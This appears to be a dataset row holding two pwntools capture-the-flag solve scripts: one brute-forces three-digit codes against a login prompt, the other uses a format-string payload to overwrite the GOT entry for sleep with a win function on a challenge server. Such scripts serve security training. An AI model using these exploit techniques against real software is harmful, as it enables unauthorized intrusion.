def send_code(code): p.recvuntil(b'Enter Code') c = str(code).zfill(3).encode() p.sendline(c) p.recvline() r = p.recvline() if b"Correct" in r: info(f"CORRECT CODE FOUND: {c}") return True else: return False
def main(): gray_codes = gen_codes() login() codes_cracked = 0 while codes_cracked < 15: for i in gray_codes: if send_code(i): codes_cracked += 1 break p.interactive()
if __name__ == "__main__": main()``` |
```pythonfrom pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]e = context.binary = ELF(binary, checksec=False)r = ROP(e)
gs = '''break *0x401284continue'''
def start(): if args.GDB: return gdb.debug(e.path, gdbscript=gs) elif args.REMOTE: return remote('0.cloud.chals.io', 29376) else: return process(e.path)
p = start()
got_write = { e.got['sleep']: e.sym['win'],}
p.recvuntil(b'words that ryhme >>>')payload = fmtstr_payload(6, got_write, write_size='short')p.sendline(payload)info('Overwrote GOT Entry For Sleep with Win()')
prob_write = { e.sym['problem']: 98,}
p.recvuntil(b'words that ryhme >>>')payload = fmtstr_payload(6, prob_write, write_size='short')p.sendline(payload)info('Overwrote Problem with Value = 98')
p.recvuntil(b' Congratulations:')p.warn('Flag Captured')p.interactive()``` |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.